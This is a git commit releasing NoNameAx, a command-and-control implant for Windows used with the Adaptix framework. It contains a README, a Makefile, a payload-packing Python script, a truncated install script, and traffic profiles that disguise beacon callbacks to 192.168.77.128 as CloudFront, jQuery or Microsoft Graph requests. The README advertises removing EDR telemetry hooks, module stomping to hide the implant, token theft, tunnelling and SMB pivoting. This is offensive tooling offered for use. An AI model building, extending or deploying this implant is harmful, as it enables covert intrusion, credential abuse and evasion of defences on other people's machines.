commit c0fc8d878be4d5c33d2722e48137fb6fad9d40c2 Author: MaorSabag Date: Sun Jun 28 09:44:19 2026 -0400 Initial commit: NoNameAx public release Position-independent C2 beacon for Adaptix Framework with: - PIC shellcode beacon (PEB walk, FNV1a hashing) - BeaconGate API proxy + WFSO PoC sleepmask (extensible) - BOF execution with module stomping - Malleable C2 profiles with runtime switching - WinHTTP transport (proxy-aware) - Token manipulation (steal, impersonate, create) - TCP tunneling (SOCKS, lportfwd, rportfwd) - SMB pivoting - Stardust UDRL loader with module stomping diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..30f0d64 --- /dev/null +++ b/.gitignore @@ -0,0 +1,23 @@ +# Build artifacts +build/ +src_beacon/build/ +src_beacon/include/Config_profile.h +src_loader/bin/ +src_sleepmask/dist/ + +# Go plugin binaries +src_server/agent_nonameax/*.so +src_server/listener_nonameax_http/*.so +src_server/service_nax_store/*.so +src_server/service_nax_store/dist/ + +# PE wrapper build artifacts +src_server/agent_nonameax/pe_templates/Shellcode.h + +# Runtime config +nax_root.conf + +# Editor / OS +.DS_Store +*.swp +*.swo diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..b05e1cd --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2026 Maor Sabag + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..0000ab6 --- /dev/null +++ b/Makefile @@ -0,0 +1,195 @@ +# NaX/Makefile - top-level build: beacon + loader → combined nax.x64.bin +# +# Outputs: +# build/nax.x64.bin - release payload (loader + beacon + unwind) +# build/nax.x64.debug.bin - debug payload (loader + debug beacon + unwind) +# +# Sub-makes: +# src_loader/Makefile - Stardust-style UDRL (Start, PreMain, Main, Ldr) +# src_beacon/Makefile - PIC beacon (NaxMain, crypto, transport, commands) +# +# Usage: +# make - build release → build/nax.x64.bin (v2 header, stomp off) +# make debug - build debug → build/nax.x64.debug.bin +# make MODULE_STOMP=1 - build with module stomping enabled +# make STOMP_DLL=mshtml.dll - customize sacrificial DLL (default: chakra.dll) +# make loader - build loader only +# make beacon - build beacon only +# make sleepmask - build sleepmask BOF only +# make clean - remove all build artifacts + +JOBS ?= $(shell nproc 2>/dev/null || echo 4) +MAKEFLAGS += -s + +PACK_SCRIPT := scripts/pack_nax.py + +LOADER_BIN := src_loader/bin/nax_loader.x64.bin + +# Transport-specific beacon build directory +NAX_TRANSPORT_PROFILE ?= 0 +BEACON_TRANSPORT := NAX_TRANSPORT_PROFILE=$(NAX_TRANSPORT_PROFILE) + +ifeq ($(NAX_TRANSPORT_PROFILE),1) +BEACON_BUILD := src_beacon/build/smb +else +BEACON_BUILD := src_beacon/build/http +endif + +BEACON_BIN := $(BEACON_BUILD)/beacon.x64.bin +BEACON_PDATA := $(BEACON_BUILD)/beacon.pdata.bin +BEACON_XDATA := $(BEACON_BUILD)/beacon.xdata.bin +BEACON_RVA := $(BEACON_BUILD)/beacon.text_rva + +BEACON_DEBUG_BIN := $(BEACON_BUILD)/beacon.x64.debug.bin +BEACON_DEBUG_PDATA := $(BEACON_BUILD)/beacon.debug.pdata.bin +BEACON_DEBUG_XDATA := $(BEACON_BUILD)/beacon.debug.xdata.bin +BEACON_DEBUG_RVA := $(BEACON_BUILD)/beacon.debug.text_rva + +OUT_DIR := build +OUT_BIN := $(OUT_DIR)/nax.x64.bin +OUT_DEBUG_BIN := $(OUT_DIR)/nax.x64.debug.bin + +# Configurable module stomping (off by default for dev builds) +MODULE_STOMP ?= 0 +STOMP_DLL ?= chakra.dll +STOMP_PDATA ?= $(MODULE_STOMP) + +# Technique selection (compile-time, passed to loader) +# NAX_STOMP_MODE: 0=VirtualAlloc, 1=ModuleStomp +# NAX_EXEC_MODE: 0=CreateThread, 1=ThreadPool (TppWorkerThread) +NAX_STOMP_MODE ?= 1 +NAX_EXEC_MODE ?= 1 + +# Build pack flags from config +PACK_FLAGS := +ifneq ($(MODULE_STOMP),0) +PACK_FLAGS += --module-stomp +endif +ifneq ($(STOMP_PDATA),0) +PACK_FLAGS += --stomp-pdata +endif + +# Loader technique defines +LOADER_DEFINES := NAX_STOMP_MODE=$(NAX_STOMP_MODE) NAX_EXEC_MODE=$(NAX_EXEC_MODE) + +.PHONY: all debug link debug-link loader beacon sleepmask debug-sleepmask clean \ + _sync-loader _sync-beacon _sync-beacon-debug + +## ========= [ combined output ] ========= + +all: _sync-loader _sync-beacon | $(OUT_DIR) + @if [ ! -f $(OUT_BIN) ] || \ + [ $(LOADER_BIN) -nt $(OUT_BIN) ] || \ + [ $(BEACON_BIN) -nt $(OUT_BIN) ]; then \ + python3 $(PACK_SCRIPT) \ + --loader $(LOADER_BIN) \ + --beacon $(BEACON_BIN) \ + --pdata $(BEACON_PDATA) \ + --xdata $(BEACON_XDATA) \ + --text-rva $(BEACON_RVA) \ + --stomp-dll "$(STOMP_DLL)" \ + $(PACK_FLAGS) \ + --output $(OUT_BIN); \ + else \ + echo " SKIP $(OUT_BIN) is up-to-date"; \ + fi + +$(OUT_DIR): + mkdir -p $(OUT_DIR) + +## ========= [ debug combined output ] ========= + +debug: _sync-loader _sync-beacon-debug | $(OUT_DIR) + @if [ ! -f $(OUT_DEBUG_BIN) ] || \ + [ $(LOADER_BIN) -nt $(OUT_DEBUG_BIN) ] || \ + [ $(BEACON_DEBUG_BIN) -nt $(OUT_DEBUG_BIN) ]; then \ + python3 $(PACK_SCRIPT) \ + --loader $(LOADER_BIN) \ + --beacon $(BEACON_DEBUG_BIN) \ + --pdata $(BEACON_DEBUG_PDATA) \ + --xdata $(BEACON_DEBUG_XDATA) \ + --text-rva $(BEACON_DEBUG_RVA) \ + --stomp-dll "$(STOMP_DLL)" \ + $(PACK_FLAGS) \ + --output $(OUT_DEBUG_BIN); \ + else \ + echo " SKIP $(OUT_DEBUG_BIN) is up-to-date"; \ + fi + @if [ ! -f src_sleepmask/dist/sleepmask.x64.o ]; then \ + $(MAKE) -j$(JOBS) -C src_sleepmask debug; \ + fi + +## ========= [ sub-make sync targets ] ========= + +_sync-loader: + @$(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES) + +_sync-beacon: + @$(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT) + +_sync-beacon-debug: + @$(MAKE) -j$(JOBS) -C src_beacon debug $(BEACON_TRANSPORT) + +## ========= [ sub-makes ] ========= + +loader: + $(MAKE) -j$(JOBS) -C src_loader -f Makefile $(LOADER_DEFINES) + +sleepmask: + $(MAKE) -j$(JOBS) -C src_sleepmask + +debug-sleepmask: + $(MAKE) -j$(JOBS) -C src_sleepmask debug + +beacon: + $(MAKE) -j$(JOBS) -C src_beacon $(BEACON_TRANSPORT) + +## ========= [ link-only (recompile Config.c + re-link) ] ========= + +link: _sync-loader | $(OUT_DIR) + $(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT) + python3 $(PACK_SCRIPT) \ + --loader $(LOADER_BIN) \ + --beacon $(BEACON_BIN) \ + --pdata $(BEACON_PDATA) \ + --xdata $(BEACON_XDATA) \ + --text-rva $(BEACON_RVA) \ + --stomp-dll "$(STOMP_DLL)" \ + $(PACK_FLAGS) \ + --output $(OUT_BIN) + +debug-link: _sync-loader | $(OUT_DIR) + $(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT) + python3 $(PACK_SCRIPT) \ + --loader $(LOADER_BIN) \ + --beacon $(BEACON_DEBUG_BIN) \ + --pdata $(BEACON_DEBUG_PDATA) \ + --xdata $(BEACON_DEBUG_XDATA) \ + --text-rva $(BEACON_DEBUG_RVA) \ + --stomp-dll "$(STOMP_DLL)" \ + $(PACK_FLAGS) \ + --output $(OUT_DEBUG_BIN) + +## ========= [ component-only targets (for Go packer) ] ========= + +components: _sync-loader _sync-beacon + @echo "[+] components ready" + +debug-components: _sync-loader _sync-beacon-debug + @echo "[+] debug components ready" + +link-components: _sync-loader + $(MAKE) -j$(JOBS) -C src_beacon link $(BEACON_TRANSPORT) + @echo "[+] link components ready" + +debug-link-components: _sync-loader + $(MAKE) -j$(JOBS) -C src_beacon debug-link $(BEACON_TRANSPORT) + @echo "[+] debug-link components ready" + +## ========= [ clean ] ========= + +clean: + $(MAKE) -j$(JOBS) -C src_loader -f Makefile clean + $(MAKE) -j$(JOBS) -C src_beacon clean + @echo " NOTE src_sleepmask/dist/ kept (pre-built .o, source is WIP)" + rm -rf $(OUT_DIR) diff --git a/README.md b/README.md new file mode 100644 index 0000000..d4f3c0c --- /dev/null +++ b/README.md @@ -0,0 +1,155 @@ +# NoNameAx (NaX) + +Position-independent C2 beacon for the [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) with module stomping, malleable C2 profiles, BOF execution, and a Stardust-pattern UDRL loader. + +![Language](https://img.shields.io/badge/beacon-C-blue) +![Language](https://img.shields.io/badge/server-Go-00ADD8) +![Platform](https://img.shields.io/badge/target-Windows%20x64-0078D6) +![Framework](https://img.shields.io/badge/framework-Adaptix-purple) + +## Features + +- **PIC shellcode beacon** -- single `.text` section, no CRT, no imports, all APIs resolved via PEB walk +- **Module stomping** -- beacon runs from image-backed DLL memory (IMG), not private allocations (PRV) +- **Clean stack walks** -- `.pdata`/`.xdata` stomped into DLL with correct RVAs, LDR entry patched with full PEB flags (ImageDll, LoadNotificationsSent, ProcessStaticImport, EntryProcessed) +- **Control Flow Guard (CFG) aware** -- queries CFG status at runtime, whitelists beacon entry (loader), BOF go() and sleep_mask() in the CFG bitmap via SetProcessValidCallTargets; safe in CFG-enabled processes +- **Malleable C2 profiles** -- configurable encoding pipeline (base64/hex/raw, XOR mask, body templates, header/cookie/parameter placement), runtime profile switching +- **DLL load notification unhooking** -- removes all `LdrRegisterDllNotification` callbacks at startup, preventing EDR DLL-load telemetry; always enabled, also available at runtime via `dll-notify list/remove` +- **BeaconGate + Sleepmask** -- extensible API call proxy routes Sleep/WaitForSingleObject/WaitForMultipleObjects through a sleepmask BOF (module-stomped, image-backed); ships with a WFSO PoC that replaces Sleep with `NtWaitForSingleObject` on a dummy event — bring your own sleep obfuscation technique +- **BOF execution** -- in-process COFF loader with module stomping (image-backed BOF .text, IFT .pdata injection) +- **Stardust UDRL loader** -- self-relocating PIC loader with TLS egghunter globals, thread pool execution +- **TCP tunneling** -- SOCKS4/5 proxy, local port forwarding and reverse port forwarding through beacon, works over both HTTP and SMB transports +- **Token manipulation** -- steal, impersonate, create from credentials (4 logon types), privilege listing, console header updates +- **26 built-in commands** -- file I/O, process management, token ops, screenshots, downloads, uploads, SMB pivoting +- **AES-128-CBC encryption** -- all frames encrypted end-to-end via BCrypt +- **Proxy-aware transport** -- WinHTTP with automatic proxy detection (PAC/WPAD) + +## Architecture + +``` ++------------+ +----------------+ +--------------+ +-------+ +-------+ +| UDRL | | NaxHeader v2 | | PIC Beacon | | .pdata| | .xdata| +| Loader | | (160 bytes) | | (.text) | | | | | +| Stardust | | magic, sizes | | NaxMain() | | RUNTM | | UNWIND| +| PEB walk | | flags, DLL | | + commands | | _FUNC | | _INFO | +| Mod stomp | | | | + transport | | | | | ++------------+ +----------------+ +--------------+ +-------+ +-------+ + | + HTTP(S) / SMB + | ++---------------------------------------------------------------+ +| Adaptix Framework Server | +| +------------------------+ +-----------------------------+ | +| | listener_nonameax_http | | agent_nonameax | | +| | Profile-driven HTTP |->| BuildPayload, CreateCommand| | +| | AES crypto, transforms | | ProcessData, AxScript UI | | +| +------------------------+ +-----------------------------+ | ++---------------------------------------------------------------+ +``` + +## Quick Start + +### Prerequisites + +```bash +sudo apt install gcc-mingw-w64-x86-64 nasm binutils golang python3 +``` + +### Build + +```bash +make # Release build +make debug # Debug build (NaxDbg output) +make MODULE_STOMP=1 STOMP_PDATA=1 # Module stomping + unwind data +make MODULE_STOMP=1 STOMP_DLL=mshtml.dll # Custom sacrificial DLL + +# Go server plugins +cd src_server/agent_nonameax && make +cd src_server/listener_nonameax_http && make +``` + +### Deploy + +1. Copy `.so` plugins to `Server/extenders/` +2. Register in `Server/profile.yaml` +3. Start Adaptix, create a listener, generate a payload + +## Commands + +| Command | Description | +|---------|-------------| +| `whoami` | Current identity (domain\user) | +| `sleep [jitter%]` | Set callback interval | +| `sleepmask-set` | Send sleepmask BOF (auto-fires on connect) | +| `ls`, `cd`, `pwd`, `mkdir`, `rmdir` | Directory navigation | +| `cat`, `rm`, `download`, `upload` | File operations | +| `ps list`, `ps kill`, `ps run` | Process management | +| `token getuid/steal/use/list/rm/revert/make/privs` | Token manipulation and impersonation | +| `screenshot` | GDI desktop capture | +| `bof [-a] ` | Execute BOF (sync or async) | +| `bof-stomp sync/async/show` | Reconfigure BOF module stomping | +| `profile ` | Runtime C2 profile switch | +| `link`, `unlink` | SMB pivot management | +| `socks start/stop` | SOCKS4/5 proxy (via Adaptix tunnel system) | +| `lportfwd` / `rportfwd` | TCP tunnel forwarding (via Adaptix UI) | +| `terminate thread/process` | Exit beacon | + +## Documentation + +Full documentation is in the [wiki/](wiki/) folder: + +### Core +- **[Beacon Architecture](wiki/Beacon-Architecture.md)** -- NAX_INSTANCE, bootstrap, heartbeat loop, PIC constraints +- **[Wire Protocol](wiki/Wire-Protocol.md)** -- Frame format, message types, command IDs, encryption +- **[Malleable C2 Profiles](wiki/Malleable-C2-Profiles.md)** -- OutputConfig encoding pipeline, profile JSON, runtime switching +- **[Module Stomping](wiki/Module-Stomping.md)** -- Loader-phase beacon stomping, DLL selection, LDR patching + +### BOF System +- **[BOF Execution](wiki/BOF-Execution.md)** -- COFF loader, sync/async dispatch, Beacon API reference +- **[BOF Module Stomping](wiki/BOF-Module-Stomping.md)** -- Image-backed BOF .text, IFT .pdata injection, slot pool + +### Evasion +- **[BeaconGate & Sleepmask](wiki/BeaconGate-Sleepmask.md)** -- API call proxy, WFSO PoC sleepmask, extensible gate architecture + +### Post-Exploitation +- **[Token Commands](wiki/Token-Commands.md)** -- Token theft, impersonation, credential logon, privilege listing + +### Networking +- **[Tunneling](wiki/Tunneling.md)** -- Local/reverse port forwarding, wire protocol, OPSEC, flow control + +### Extending NaX +- **[Adding Commands](wiki/Adding-Commands.md)** -- End-to-end walkthrough from Wire.h to AxScript +- **[Stardust Loader Guide](wiki/Stardust-Loader-Guide.md)** -- UDRL architecture, how to write your own loader + +### Operations +- **[Build and Deploy](wiki/Build-and-Deploy.md)** -- Prerequisites, build commands, Adaptix setup +- **[Operator Reference](wiki/Operator-Reference.md)** -- All commands with syntax and examples + +## Project Structure + +``` +Makefile # Top-level: loader + beacon -> nax.x64.bin +src_beacon/ # PIC shellcode beacon (C, MinGW cross-compile) + include/ # Instance.h, Wire.h, Config.h, Macros.h, Bof.h + src/Core/ # Bootstrap, Ldr (PEB walk), Config, Crypto, Packer + src/Transport/ # Http.c (WinHTTP), HttpCodec.c, Smb.c + src/Commands/ # Dispatch + command handlers + Tunnel.c + src/Bof/ # COFF loader, Beacon API, module stomping +src_loader/ # Stardust UDRL loader + src/ # PreMain, Main, Ldr, Stomp, Pe, Exec, Entry.asm +src_sleepmask/ # Sleepmask BOF (COFF .o, loaded by beacon at runtime) + src/ # main.c (WFSO PoC — extend with your own technique) + include/ # Gate.h, Imports.h +src_server/ # Go plugins for Adaptix Framework + agent_nonameax/ # Agent extender (build, commands, results, AxScript) + listener_nonameax_http/ # HTTP listener (profile transforms, crypto) +profiles/ # Malleable C2 profile JSON files +scripts/ # Build scripts (pack_nax.py) +``` + +## Acknowledgments + +- [Adaptix Framework](https://github.com/Adaptix-Framework/Adaptix) -- C2 framework and operator console +- [Stardust](https://github.com/Cracked5pider/Stardust) -- PIC loader template by Paul Ungur +- [ZeroPoint Security](https://training.zeropointsecurity.co.uk/) -- UDRL and Sleepmask course +- [Kharon](https://github.com/Adaptix-Framework/Kharon) -- Reference Adaptix agent diff --git a/profiles/aws-cloudfront.json b/profiles/aws-cloudfront.json new file mode 100644 index 0000000..aa8f267 --- /dev/null +++ b/profiles/aws-cloudfront.json @@ -0,0 +1,121 @@ +{ + "callbacks": [ + { + "hosts": ["192.168.77.128:8080"], + "user_agent": "Amazon CloudFront", + "beacon_id_header": "X-Amz-Cf-Id", + "rotation": "random", + + "server_error": { + "status": 503, + "body": "\nServiceUnavailableService is unable to handle request.F5E2D3C4B1A09876", + "headers": { + "Content-Type": "text/xml", + "Server": "AmazonS3", + "x-amz-request-id": "F5E2D3C4B1A09876", + "x-amz-id-2": "vlR7PnpV2Ce81l0PRw6jlUpck7aFV5B/i4p+C0yKfE3gYo2hVDJ7gA==", + "Connection": "close" + } + }, + + "get": { + "uri": [ + "/d/cf-dist/assets/main.woff2", + "/d/cf-dist/css/styles.min.css", + "/d/cf-dist/img/logo.svg", + "/d/cf-dist/manifest.json" + ], + "client": { + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Origin": "https://cdn.example.com", + "Sec-Fetch-Dest": "font", + "Sec-Fetch-Mode": "cors" + }, + "metadata": { + "format": "hex", + "mask": false, + "placement": "cookie", + "name": "CloudFront-Key-Pair-Id", + "prepend": "APKA", + "append": "" + }, + "parameters": { + "Expires": "1733011200", + "Policy": "eyJ2ZXJzaW9uIjoiMiJ9" + } + }, + "server": { + "headers": { + "Content-Type": "font/woff2", + "Server": "AmazonS3", + "x-amz-cf-pop": "IAD89-P2", + "x-amz-cf-id": "noop", + "Via": "1.1 abc123.cloudfront.net (CloudFront)", + "X-Cache": "Hit from cloudfront", + "Access-Control-Allow-Origin": "*", + "Cache-Control": "public, max-age=31536000, immutable" + }, + "output": { + "format": "base64url", + "mask": false, + "placement": "body", + "name": "", + "prepend": "", + "append": "", + "empty_response": "" + } + } + }, + + "post": { + "uri": [ + "/prod/api/events", + "/prod/api/metrics", + "/prod/api/logs/ingest" + ], + "client": { + "headers": { + "Content-Type": "application/x-amz-json-1.1", + "Accept": "application/json", + "X-Amz-Target": "Logs_20140328.PutLogEvents", + "X-Amz-Date": "20241201T000000Z" + }, + "metadata": { + "format": "raw", + "mask": false, + "placement": "parameter", + "name": "X-Amz-Security-Token", + "prepend": "", + "append": "" + }, + "output": { + "format": "hex", + "mask": true, + "placement": "body", + "name": "", + "prepend": "{\"logGroupName\":\"/aws/lambda/prod-handler\",\"logStreamName\":\"2024/12/01/[$LATEST]\",\"logEvents\":[{\"timestamp\":1733011200000,\"message\":\"", + "append": "\"}],\"sequenceToken\":\"49641086694350286920040691822737707097\"}" + } + }, + "server": { + "headers": { + "Content-Type": "application/x-amz-json-1.1", + "Server": "AmazonS3", + "x-amzn-RequestId": "a1b2c3d4-5678-90ab-cdef-111111111111" + }, + "output": { + "format": "hex", + "mask": false, + "placement": "body", + "name": "", + "prepend": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\",\"_data\":\"", + "append": "\",\"rejectedLogEventsInfo\":null}", + "empty_response": "{\"nextSequenceToken\":\"49641086694350286920040691822737707098\"}" + } + } + } + } + ] +} diff --git a/profiles/jquery-stealth.json b/profiles/jquery-stealth.json new file mode 100644 index 0000000..2f93a9d --- /dev/null +++ b/profiles/jquery-stealth.json @@ -0,0 +1,102 @@ +{ + "callbacks": [ + { + "hosts": ["192.168.77.128:8080"], + "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", + "beacon_id_header": "X-Correlation-Id", + "rotation": "sequential", + + "server_error": { + "status": 404, + "body": "404 Not Found

404 Not Found


nginx/1.24.0
", + "headers": { + "Content-Type": "text/html", + "Server": "nginx/1.24.0", + "Connection": "keep-alive" + } + }, + + "get": { + "uri": ["/jquery-3.3.1.min.js", "/assets/js/analytics.js", "/static/bundle.js"], + "client": { + "headers": { + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "Referer": "https://www.google.com/" + }, + "metadata": { + "format": "base64", + "mask": true, + "placement": "cookie", + "name": "__cfduid", + "prepend": "", + "append": "" + }, + "parameters": { + "v": "3.3.1" + } + }, + "server": { + "headers": { + "Content-Type": "application/javascript; charset=utf-8", + "Cache-Control": "max-age=0, public", + "X-Content-Type-Options": "nosniff", + "Server": "nginx/1.24.0" + }, + "output": { + "format": "base64", + "mask": true, + "placement": "body", + "name": "", + "prepend": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice;\n/* data: ", + "append": " */\n});", + "empty_response": "/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */\n!function(e,t){\"use strict\"}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";});" + } + } + }, + + "post": { + "uri": ["/api/v1/telemetry", "/api/v1/analytics", "/submit"], + "client": { + "headers": { + "Content-Type": "application/json", + "Accept": "application/json", + "X-Requested-With": "XMLHttpRequest" + }, + "metadata": { + "format": "base64url", + "mask": false, + "placement": "header", + "name": "X-Request-Id", + "prepend": "", + "append": "" + }, + "output": { + "format": "base64", + "mask": true, + "placement": "body", + "name": "", + "prepend": "{\"status\":\"ok\",\"telemetry\":\"", + "append": "\",\"version\":\"2.1.0\"}" + } + }, + "server": { + "headers": { + "Content-Type": "application/json", + "Server": "nginx/1.24.0" + }, + "output": { + "format": "raw", + "mask": false, + "placement": "body", + "name": "", + "prepend": "", + "append": "", + "empty_response": "{\"status\":\"accepted\"}" + } + } + } + } + ] +} diff --git a/profiles/ms365-graph.json b/profiles/ms365-graph.json new file mode 100644 index 0000000..997023a --- /dev/null +++ b/profiles/ms365-graph.json @@ -0,0 +1,124 @@ +{ + "callbacks": [ + { + "hosts": ["192.168.77.128"], + "user_agent": "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.17928; Pro)", + "beacon_id_header": "X-MS-Correlation-Id", + "rotation": "random", + + "server_error": { + "status": 403, + "body": "{\"error\":{\"code\":\"Authorization_RequestDenied\",\"message\":\"Insufficient privileges to complete the operation.\",\"innerError\":{\"date\":\"2024-12-01T00:00:00\",\"request-id\":\"00000000-0000-0000-0000-000000000000\",\"client-request-id\":\"00000000-0000-0000-0000-000000000000\"}}}", + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "Strict-Transport-Security": "max-age=31536000; includeSubDomains", + "X-Content-Type-Options": "nosniff" + } + }, + + "get": { + "uri": [ + "/nax/v1.0/me/presence", + "/nax/v1.0/me/messages", + "/nax/v1.0/me/calendar/events", + "/nax/v1.0/me/drive/recent", + "/nax/beta/me/outlook/masterCategories" + ], + "client": { + "headers": { + "Accept": "application/json; odata.metadata=minimal", + "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub", + "X-AnchorMailbox": "user@contoso.com", + "client-request-id": "7f2e4b3a-1c9d-4e8f-b5a2-3d6c8e9f0a1b", + "Prefer": "outlook.body-content-type=\"text\"" + }, + "metadata": { + "format": "base64url", + "mask": true, + "placement": "parameter", + "name": "$filter", + "prepend": "", + "append": "" + }, + "parameters": { + "$select": "availability,activity", + "$top": "25", + "api-version": "2024-01-01" + } + }, + "server": { + "headers": { + "Content-Type": "application/json; odata.metadata=minimal; odata.streaming=true; IEEE754Compatible=false; charset=utf-8", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "OData-Version": "4.0", + "X-Content-Type-Options": "nosniff", + "Cache-Control": "private" + }, + "output": { + "format": "base64", + "mask": true, + "placement": "body", + "name": "", + "prepend": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\",\"outOfOfficeSettings\":{\"message\":\"\",\"isOutOfOffice\":false},\"statusMessage\":null,\"_telemetry\":\"", + "append": "\",\"_etag\":\"W/\\\"datetime'2024-12-01T00%3A00%3A00Z'\\\"\"}", + "empty_response": "{\"@odata.context\":\"https://graph.microsoft.com/v1.0/$metadata#users('user%40contoso.com')/presence\",\"id\":\"fa8bf3dc-eebc-46e5-8a75-5a2c25c7e284\",\"availability\":\"Available\",\"activity\":\"Available\"}" + } + } + }, + + "post": { + "uri": [ + "/nax/v1.0/me/drive/items/root:/Documents/sync.tmp:/createUploadSession", + "/nax/v1.0/me/drive/items/root:/Documents/telemetry.dat:/content", + "/nax/v1.0/me/sendMail", + "/nax/beta/me/todo/lists/tasks" + ], + "client": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Accept": "application/json", + "Authorization": "Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.stub", + "X-AnchorMailbox": "user@contoso.com", + "client-request-id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890" + }, + "metadata": { + "format": "hex", + "mask": false, + "placement": "cookie", + "name": "X-OD-SessionId", + "prepend": "", + "append": "" + }, + "output": { + "format": "base64url", + "mask": true, + "placement": "body", + "name": "", + "prepend": "{\"@odata.type\":\"#microsoft.graph.uploadSession\",\"uploadUrl\":\"https://contoso-my.sharepoint.com/personal/user/_api/v2.0/drive/items/root:/sync.tmp:/uploadSession?guid=", + "append": "\",\"expirationDateTime\":\"2024-12-02T00:00:00.000Z\",\"nextExpectedRanges\":[\"0-\"]}" + } + }, + "server": { + "headers": { + "Content-Type": "application/json; charset=utf-8", + "Server": "Microsoft-IIS/10.0", + "X-Powered-By": "ASP.NET", + "X-Content-Type-Options": "nosniff" + }, + "output": { + "format": "base64", + "mask": true, + "placement": "body", + "name": "", + "prepend": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"_sync\":\"", + "append": "\",\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\",\"file\":{\"mimeType\":\"application/octet-stream\"}}", + "empty_response": "{\"@odata.type\":\"#microsoft.graph.driveItem\",\"id\":\"01BYE5RZ\",\"name\":\"sync.tmp\",\"size\":0,\"lastModifiedDateTime\":\"2024-12-01T00:00:00Z\"}" + } + } + } + } + ] +} diff --git a/scripts/pack_nax.py b/scripts/pack_nax.py new file mode 100755 index 0000000..865b2de --- /dev/null +++ b/scripts/pack_nax.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Pack loader + beacon + pdata + xdata into nax.bin with NaxHeader v2.""" + +import argparse +import struct +import sys +import os + + +NAX_HDR_MAGIC = 0x4E415832 # "NAX2" +NAX_HDR_SIZE = 160 # fixed header size +NAX_HDR_DLL_MAX = 64 # max WCHAR chars for DLL name + +FLAG_MODULE_STOMP = 0x0001 +FLAG_STOMP_PDATA = 0x0002 + + +def read_bin(path): + if not path or not os.path.exists(path): + return b"" + with open(path, "rb") as f: + return f.read() + + +def strip_loader_padding(loader): + """Strip page-padding added by Stardust's build.py. + + build.py pads the extracted shellcode to 0x1000-byte page boundaries, + but StRipEnd() returns the code end (not the file end). Strip the + padding and re-pad to 16-byte alignment (NASM default section alignment) + so appended data lands where StRipEnd() points. + + NaX loaders extracted via objcopy have no trailing padding - this is + a no-op for them. + """ + stripped = loader.rstrip(b'\x00') + padding = (16 - (len(stripped) % 16)) % 16 + return stripped + b'\x00' * padding + + +def read_text_rva(path): + if not path or not os.path.exists(path): + return 0 + with open(path, "r") as f: + val = f.read().strip() + if not val: + return 0 + return int(val, 16) + + +def normalize_pdata(pdata, text_rva, xdata_rva): + """Convert RUNTIME_FUNCTION RVAs to 0-based offsets. + + BeginAddress/EndAddress become offsets from .text start. + UnwindData becomes offset from .xdata start. + The loader adds target DLL RVAs at runtime. + """ + if not pdata or len(pdata) < 12: + return pdata + out = bytearray(pdata) + entry_count = len(out) // 12 + for i in range(entry_count): + off = i * 12 + begin, end, unwind = struct.unpack_from(" len(buf): + print(f"ERROR: DLL name too long ({len(name)} chars, max {NAX_HDR_DLL_MAX - 1})", file=sys.stderr) + sys.exit(1) + buf[:len(wchars)] = wchars + return bytes(buf) + + +def build_header(beacon_size, pdata_size, xdata_size, text_rva, flags, dll_name): + hdr = struct.pack("/dev/null || echo "$2")" + shift 2 + ;; + --action) + ACTION="$2" + shift 2 + ;; + -h|--help) + ACTION="help" + shift + ;; + *) + error_exit "Unknown parameter: $1\nRun $0 --help for usage." + ;; + esac +done + +## ========= [ usage ] ========= + +if [ "$ACTION" = "help" ] || [ -z "$SERVER_DIR" ]; then + cat < [--action ] 